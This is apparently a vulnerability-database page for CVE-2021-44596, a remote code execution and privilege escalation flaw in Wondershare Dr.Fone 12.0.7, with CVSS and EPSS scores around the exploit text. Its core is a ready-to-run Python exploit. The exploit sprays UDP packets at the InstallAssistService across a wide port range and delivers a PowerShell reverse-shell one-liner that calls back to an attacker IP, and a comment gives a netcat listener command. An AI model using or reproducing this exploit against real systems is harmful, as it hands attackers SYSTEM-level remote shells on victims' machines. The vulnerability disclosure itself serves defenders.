CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
95.1%
# Exploit Title: Wondershare Dr.Fone 12.0.7 - Privilege Escalation (InstallAssistService)
# Exploit Author: Netanel Cohen & Tomer Peled
# Vendor Homepage: https://drfone.wondershare.net/
# Software Link: https://download.wondershare.net/drfone_full4008.exe
# Version: up to 12.0.7
# Tested on: Windows 10
# CVE : 2021-44596
# References: https://github.com/netanelc305/WonderShell
Wondershare LTD Dr. Fone as of 2021-12-06 version is affected by Remote code execution. Due to software design flaws an unauthenticated user can communicate over UDP with the "InstallAssistService.exe" service(the service is running under SYSTEM privileges) and manipulate it to execute malicious executable without any validation from a remote location and gain SYSTEM privileges
#!/usr/bin/python3
# stty raw -echo; (stty size; cat) | nc -lvnp 1337
import socket
payload = """WindowsPowerShell\\v1.0\powershell.exe
-nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.14.129',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Admin
12345"""
byte_message = bytes(payload, "utf-8")
for i in range(1024,65500):
opened_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
opened_socket.sendto(byte_message, ("192.168.14.137", i))
print(f"Trying port {i}",end="\r")
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
95.1%